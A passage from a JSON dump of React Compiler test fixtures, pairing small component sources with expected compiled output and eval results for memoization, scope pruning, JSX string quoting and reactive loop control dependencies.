let t2;\n  if ($[4] !== t1 || $[5] !== x) {\n    t2 = <ValidateMemoization inputs={t1} output={x} />;\n    $[4] = t1;\n    $[5] = x;\n    $[6] = t2;\n  } else {\n    t2 = $[6];\n  }\n  return t2;\n}\n\nconst f = () => [\"React\"];\nconst g = () => [\"Compiler\"];\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ x: () => [\"React\"] }],\n  sequentialRenders: [{ x: f }, { x: g }, { x: g }, { x: f }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"inputs\":[\"[[ function params=0 ]]\"],\"output\":[\"React\"]}</div>\n<div>{\"inputs\":[\"[[ function params=0 ]]\"],\"output\":[\"Compiler\"]}</div>\n<div>{\"inputs\":[\"[[ function params=0 ]]\"],\"output\":[\"Compiler\"]}</div>\n<div>{\"inputs\":[\"[[ function params=0 ]]\"],\"output\":[\"React\"]}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/props-method-dependency.js",
    "content": "// @compilationMode:\"infer\"\nimport {useMemo} from 'react';\nimport {ValidateMemoization} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = useMemo(() => props.x(), [props.x]);\n  return <ValidateMemoization inputs={[props.x]} output={x} />;\n}\n\nconst f = () => ['React'];\nconst g = () => ['Compiler'];\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{x: () => ['React']}],\n  sequentialRenders: [{x: f}, {x: g}, {x: g}, {x: f}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-array.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = [];\n  useHook(); // intersperse a hook call to prevent memoization of x\n  x.push(props.value);\n\n  const y = [x];\n\n  return [y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'sathya'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { useHook } from \"shared-runtime\";\n\nfunction Component(props) {\n  const x = [];\n  useHook();\n  x.push(props.value);\n\n  const y = [x];\n\n  return [y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"sathya\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[[\"sathya\"]]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-array.js",
    "content": "import {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = [];\n  useHook(); // intersperse a hook call to prevent memoization of x\n  x.push(props.value);\n\n  const y = [x];\n\n  return [y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-jsx.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const o = {};\n  const x = <div>{props.value}</div>; // create within the range of x to group with x\n  useHook(); // intersperse a hook call to prevent memoization of x\n  o.value = props.value;\n\n  const y = <div>{x}</div>;\n\n  return <div>{y}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'sathya'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useHook } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(4);\n  const o = {};\n  let t0;\n  if ($[0] !== props.value) {\n    t0 = <div>{props.value}</div>;\n    $[0] = props.value;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  useHook();\n  o.value = props.value;\n  let t1;\n  if ($[2] !== x) {\n    const y = <div>{x}</div>;\n    t1 = <div>{y}</div>;\n    $[2] = x;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  return t1;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"sathya\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div><div>sathya</div></div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-jsx.js",
    "content": "import {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const o = {};\n  const x = <div>{props.value}</div>; // create within the range of x to group with x\n  useHook(); // intersperse a hook call to prevent memoization of x\n  o.value = props.value;\n\n  const y = <div>{x}</div>;\n\n  return <div>{y}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-new.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = new Foo();\n  useHook(); // intersperse a hook call to prevent memoization of x\n  x.value = props.value;\n\n  const y = {x};\n\n  return {y};\n}\n\nclass Foo {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'sathya'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { useHook } from \"shared-runtime\";\n\nfunction Component(props) {\n  const x = new Foo();\n  useHook();\n  x.value = props.value;\n\n  const y = { x };\n\n  return { y };\n}\n\nclass Foo {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"sathya\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"y\":{\"x\":{\"value\":\"sathya\"}}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-new.js",
    "content": "import {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = new Foo();\n  useHook(); // intersperse a hook call to prevent memoization of x\n  x.value = props.value;\n\n  const y = {x};\n\n  return {y};\n}\n\nclass Foo {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-object.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = {};\n  useHook(); // intersperse a hook call to prevent memoization of x\n  x.value = props.value;\n\n  const y = {x};\n\n  return {y};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'sathya'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { useHook } from \"shared-runtime\";\n\nfunction Component(props) {\n  const x = {};\n  useHook();\n  x.value = props.value;\n\n  const y = { x };\n\n  return { y };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"sathya\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"y\":{\"x\":{\"value\":\"sathya\"}}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-invalidate-object.js",
    "content": "import {useHook} from 'shared-runtime';\n\nfunction Component(props) {\n  const x = {};\n  useHook(); // intersperse a hook call to prevent memoization of x\n  x.value = props.value;\n\n  const y = {x};\n\n  return {y};\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-may-invalidate-array.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useHook, identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let x = 42;\n  if (props.cond) {\n    x = [];\n  }\n  useHook(); // intersperse a hook call to prevent memoization of x\n  identity(x);\n\n  const y = [x];\n\n  return [y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'sathya'}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { useHook, identity } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let x = 42;\n  if (props.cond) {\n    x = [];\n  }\n\n  useHook();\n  identity(x);\n  let t0;\n  if ($[0] !== x) {\n    const y = [x];\n    t0 = [y];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ value: \"sathya\" }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[42]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-may-invalidate-array.js",
    "content": "import {useHook, identity} from 'shared-runtime';\n\nfunction Component(props) {\n  let x = 42;\n  if (props.cond) {\n    x = [];\n  }\n  useHook(); // intersperse a hook call to prevent memoization of x\n  identity(x);\n\n  const y = [x];\n\n  return [y];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 'sathya'}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/quoted-strings-in-jsx-attribute-escaped.expect.md",
    "content": "\n## Input\n\n```javascript\nexport function Component() {\n  return <Child text='Some \\\"text\\\"' />;\n}\n\nfunction Child(props) {\n  return props.text;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nexport function Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Child text={'Some \\\\\"text\\\\\"'} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nfunction Child(props) {\n  return props.text;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) Some \\\"text\\\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/quoted-strings-in-jsx-attribute-escaped.js",
    "content": "export function Component() {\n  return <Child text='Some \\\"text\\\"' />;\n}\n\nfunction Child(props) {\n  return props.text;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/quoted-strings-in-jsx-attribute.expect.md",
    "content": "\n## Input\n\n```javascript\nexport function Component() {\n  return <Child text='Some \"text\"' />;\n}\n\nfunction Child(props) {\n  return props.text;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nexport function Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Child text={'Some \"text\"'} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nfunction Child(props) {\n  return props.text;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) Some \"text\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/quoted-strings-in-jsx-attribute.js",
    "content": "export function Component() {\n  return <Child text='Some \"text\"' />;\n}\n\nfunction Child(props) {\n  return props.text;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/quoted-strings-jsx-attribute-escaped-constant-propagation.expect.md",
    "content": "\n## Input\n\n```javascript\nexport function Component() {\n  // Test what happens if a string with double-quotes is interpolated via constant propagation\n  const text = 'Some \"text\"';\n  return <Child text={text} />;\n}\n\nfunction Child(props) {\n  return props.text;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nexport function Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = <Child text={'Some \"text\"'} />;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nfunction Child(props) {\n  return props.text;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) Some \"text\""
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/quoted-strings-jsx-attribute-escaped-constant-propagation.js",
    "content": "export function Component() {\n  // Test what happens if a string with double-quotes is interpolated via constant propagation\n  const text = 'Some \"text\"';\n  return <Child text={text} />;\n}\n\nfunction Child(props) {\n  return props.text;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/react-namespace.expect.md",
    "content": "\n## Input\n\n```javascript\nconst FooContext = React.createContext({current: null});\n\nfunction Component(props) {\n  const foo = React.useContext(FooContext);\n  const ref = React.useRef();\n  const [x, setX] = React.useState(false);\n  const onClick = () => {\n    setX(true);\n    ref.current = true;\n  };\n  return <div onClick={onClick}>{React.cloneElement(props.children)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{children: <div>Hello</div>}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nconst FooContext = React.createContext({ current: null });\n\nfunction Component(props) {\n  const $ = _c(5);\n  React.useContext(FooContext);\n  const ref = React.useRef();\n  const [, setX] = React.useState(false);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    t0 = () => {\n      setX(true);\n      ref.current = true;\n    };\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  const onClick = t0;\n  let t1;\n  if ($[1] !== props.children) {\n    t1 = React.cloneElement(props.children);\n    $[1] = props.children;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== t1) {\n    t2 = <div onClick={onClick}>{t1}</div>;\n    $[3] = t1;\n    $[4] = t2;\n  } else {\n    t2 = $[4];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ children: <div>Hello</div> }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div><div>Hello</div></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/react-namespace.js",
    "content": "const FooContext = React.createContext({current: null});\n\nfunction Component(props) {\n  const foo = React.useContext(FooContext);\n  const ref = React.useRef();\n  const [x, setX] = React.useState(false);\n  const onClick = () => {\n    setX(true);\n    ref.current = true;\n  };\n  return <div onClick={onClick}>{React.cloneElement(props.children)}</div>;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{children: <div>Hello</div>}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-indirect.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = 0;\n  let y = 0;\n  let z = 0;\n  do {\n    x += 1;\n    y += 1;\n    z = y;\n  } while (x < props.limit);\n  return [z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {limit: 10},\n    {limit: 10},\n    {limit: 1},\n    {limit: 1},\n    {limit: 10},\n    {limit: 1},\n    {limit: 10},\n    {limit: 1},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x = 0;\n  let y = 0;\n  let z;\n  do {\n    x = x + 1;\n    y = y + 1;\n    z = y;\n  } while (x < props.limit);\n  let t0;\n  if ($[0] !== z) {\n    t0 = [z];\n    $[0] = z;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { limit: 10 },\n    { limit: 10 },\n    { limit: 1 },\n    { limit: 1 },\n    { limit: 10 },\n    { limit: 1 },\n    { limit: 10 },\n    { limit: 1 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [10]\n[10]\n[1]\n[1]\n[10]\n[1]\n[10]\n[1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-indirect.js",
    "content": "function Component(props) {\n  let x = 0;\n  let y = 0;\n  let z = 0;\n  do {\n    x += 1;\n    y += 1;\n    z = y;\n  } while (x < props.limit);\n  return [z];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {limit: 10},\n    {limit: 10},\n    {limit: 1},\n    {limit: 1},\n    {limit: 10},\n    {limit: 1},\n    {limit: 10},\n    {limit: 1},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-test.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  let i = 0;\n  do {\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n    i++;\n  } while (i < props.test);\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose value is affected by\n  // `props.test` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {test: 12},\n    {test: 12},\n    {test: 1},\n    {test: 1},\n    {test: 12},\n    {test: 1},\n    {test: 12},\n    {test: 1},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  let i = 0;\n  do {\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n\n    i++;\n  } while (i < props.test);\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { test: 12 },\n    { test: 12 },\n    { test: 1 },\n    { test: 1 },\n    { test: 12 },\n    { test: 1 },\n    { test: 12 },\n    { test: 1 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [10]\n[10]\n[1]\n[1]\n[10]\n[1]\n[10]\n[1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-test.js",
    "content": "function Component(props) {\n  let x;\n  let i = 0;\n  do {\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n    i++;\n  } while (i < props.test);\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose value is affected by\n  // `props.test` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {test: 12},\n    {test: 12},\n    {test: 1},\n    {test: 1},\n    {test: 12},\n    {test: 1},\n    {test: 12},\n    {test: 1},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-init.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  for (let i = props.init; i < 10; i++) {\n    if (i === 0) {\n      x = 0;\n      break;\n    } else {\n      x = 1;\n      break;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose initial value `props.init` is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {init: 0},\n    {init: 0},\n    {init: 10},\n    {init: 10},\n    {init: 0},\n    {init: 10},\n    {init: 0},\n    {init: 10},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  for (const i = props.init; i < 10; ) {\n    if (i === 0) {\n      x = 0;\n      break;\n    } else {\n      x = 1;\n      break;\n    }\n  }\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { init: 0 },\n    { init: 0 },\n    { init: 10 },\n    { init: 10 },\n    { init: 0 },\n    { init: 10 },\n    { init: 0 },\n    { init: 10 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [0]\n[0]\n[null]\n[null]\n[0]\n[null]\n[0]\n[null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-init.js",
    "content": "function Component(props) {\n  let x;\n  for (let i = props.init; i < 10; i++) {\n    if (i === 0) {\n      x = 0;\n      break;\n    } else {\n      x = 1;\n      break;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose initial value `props.init` is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {init: 0},\n    {init: 0},\n    {init: 10},\n    {init: 10},\n    {init: 0},\n    {init: 10},\n    {init: 0},\n    {init: 10},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-test.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  for (let i = 0; i < props.test; i++) {\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose value is capped by\n  // `props.test` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {test: 12},\n    {test: 12},\n    {test: 1},\n    {test: 1},\n    {test: 12},\n    {test: 1},\n    {test: 12},\n    {test: 1},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  for (let i = 0; i < props.test; i++) {\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n  }\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { test: 12 },\n    { test: 12 },\n    { test: 1 },\n    { test: 1 },\n    { test: 12 },\n    { test: 1 },\n    { test: 12 },\n    { test: 1 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [10]\n[10]\n[1]\n[1]\n[10]\n[1]\n[10]\n[1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-test.js",
    "content": "function Component(props) {\n  let x;\n  for (let i = 0; i < props.test; i++) {\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose value is capped by\n  // `props.test` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {test: 12},\n    {test: 12},\n    {test: 1},\n    {test: 1},\n    {test: 12},\n    {test: 1},\n    {test: 12},\n    {test: 1},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-update.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  for (let i = 0; i < 10; i += props.update) {\n    if (i > 0 && i % 2 === 0) {\n      x = 2;\n    } else {\n      x = 1;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose possible values are\n  // affected by `props.update` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {update: 2},\n    {update: 2},\n    {update: 1},\n    {update: 1},\n    {update: 2},\n    {update: 1},\n    {update: 2},\n    {update: 1},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  for (let i = 0; i < 10; i = i + props.update, i) {\n    if (i > 0 && i % 2 === 0) {\n      x = 2;\n    } else {\n      x = 1;\n    }\n  }\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { update: 2 },\n    { update: 2 },\n    { update: 1 },\n    { update: 1 },\n    { update: 2 },\n    { update: 1 },\n    { update: 2 },\n    { update: 1 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]\n[2]\n[1]\n[1]\n[2]\n[1]\n[2]\n[1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-update.js",
    "content": "function Component(props) {\n  let x;\n  for (let i = 0; i < 10; i += props.update) {\n    if (i > 0 && i % 2 === 0) {\n      x = 2;\n    } else {\n      x = 1;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose possible values are\n  // affected by `props.update` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {update: 2},\n    {update: 2},\n    {update: 1},\n    {update: 1},\n    {update: 2},\n    {update: 1},\n    {update: 2},\n    {update: 1},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forin-collection.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x;\n  for (const key in props.values) {\n    const i = parseInt(key, 10);\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n  }\n  // The values assigned to `x` are non-reactive, but the value of `x`\n  // depends on the \"control\" variable `i`, whose value is derived from\n  // `props.values` which is reactive.\n  // Therefore x should be treated as reactive too.\n  return [x];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    {values: {'12': true}},\n    {values: {'12': true}},\n    {values: {'1': true}},\n    {values: {'1': true}},\n    {values: {'12': true}},\n    {values: {'1': true}},\n    {values: {'12': true}},\n    {values: {'1': true}},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  for (const key in props.values) {\n    const i = parseInt(key, 10);\n    if (i > 10) {\n      x = 10;\n    } else {\n      x = 1;\n    }\n  }\n  let t0;\n  if ($[0] !== x) {\n    t0 = [x];\n    $[0] = x;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n  sequentialRenders: [\n    { values: { \"12\": true } },\n    { values: { \"12\": true } },\n    { values: { \"1\": true } },\n    { values: { \"1\": true } },\n    { values: { \"12\": true } },\n    { values: { \"1\": true } },\n    { values: { \"12\": true } },\n    { values: { \"1\": true } },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [10]\n[10]\n[1]\n[1]\n[10]\n[1]\n[10]\n[1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forin-collection.js",
